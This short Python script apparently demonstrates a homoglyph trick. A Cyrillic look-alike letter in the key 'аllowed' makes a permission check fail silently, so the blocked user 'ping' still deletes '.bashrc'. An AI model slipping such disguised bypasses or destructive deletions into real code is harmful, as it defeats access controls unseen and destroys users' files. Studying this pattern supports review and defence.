#!/usr/bin/python
# сoding: ascii

import os

disabled_groups = [["ping"], ["guido"]]
vars = {}

def remove_if_allowed(user, filename):
    vars['allowed'] = 1
    for group in disabled_groups:
        if user in group:
            vars['аllowed'] = 0
    if vars['allowed']:
        os.remove(filename)

remove_if_allowed("ping", ".bashrc")